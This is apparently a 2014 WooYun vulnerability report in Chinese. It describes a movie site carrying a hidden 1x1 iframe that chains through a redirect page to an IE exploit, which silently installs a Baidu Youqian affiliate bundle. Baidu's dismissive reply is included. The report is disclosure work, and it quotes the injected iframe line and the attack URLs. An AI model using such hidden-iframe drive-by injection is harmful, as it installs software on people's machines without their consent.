漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-085575
漏洞标题：百度有钱联盟利用IE漏洞推广安装软件
相关厂商：百度
漏洞作者： 路人甲
提交时间：2014-12-03 23:56
修复时间：2014-12-07 18:48
公开时间：2014-12-07 18:48
漏洞类型：恶意信息传播
危害等级：高
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-12-03： 细节已通知厂商并且等待厂商处理中
2014-12-07： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
女盆友要看片，找啊找的就找到家影音站，然后电脑咻的自动装上了百度杀毒/卫士/浏览器/输入法一家子。安装包来自百度有钱联盟，144MB啊亲，电脑快卡死了有没有
详细说明：
在费很大气把电脑救活之后，在一堆浏览器的历史记录找到了这个链接http://www.80ydw.com/movie/693.html
通过查看页面源代码，可以看到嵌入了如下代码：
<iframe src=http://hpa.pw/HHH width=1 height=1></iframe>
再查看http://hpa.pw/HHH的全文代码，会发现这个页面会跳转到http://221.233.160.110/images/xml.html
最终通过该页面，下载并自动执行http://dlsw.br.baidu.com/ditui/BaiduYouQianPartPackSilent_1.1.0.10_150946.exe，没错，来自百度有钱联盟的144MB的安装包。
漏洞证明：
修复方案：
无
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-12-07 18:48
厂商回复：
报告前已经知晓，为渠道商私人行为，我们已经处理，并且后续会加强对这方面的管理
最新状态：
暂无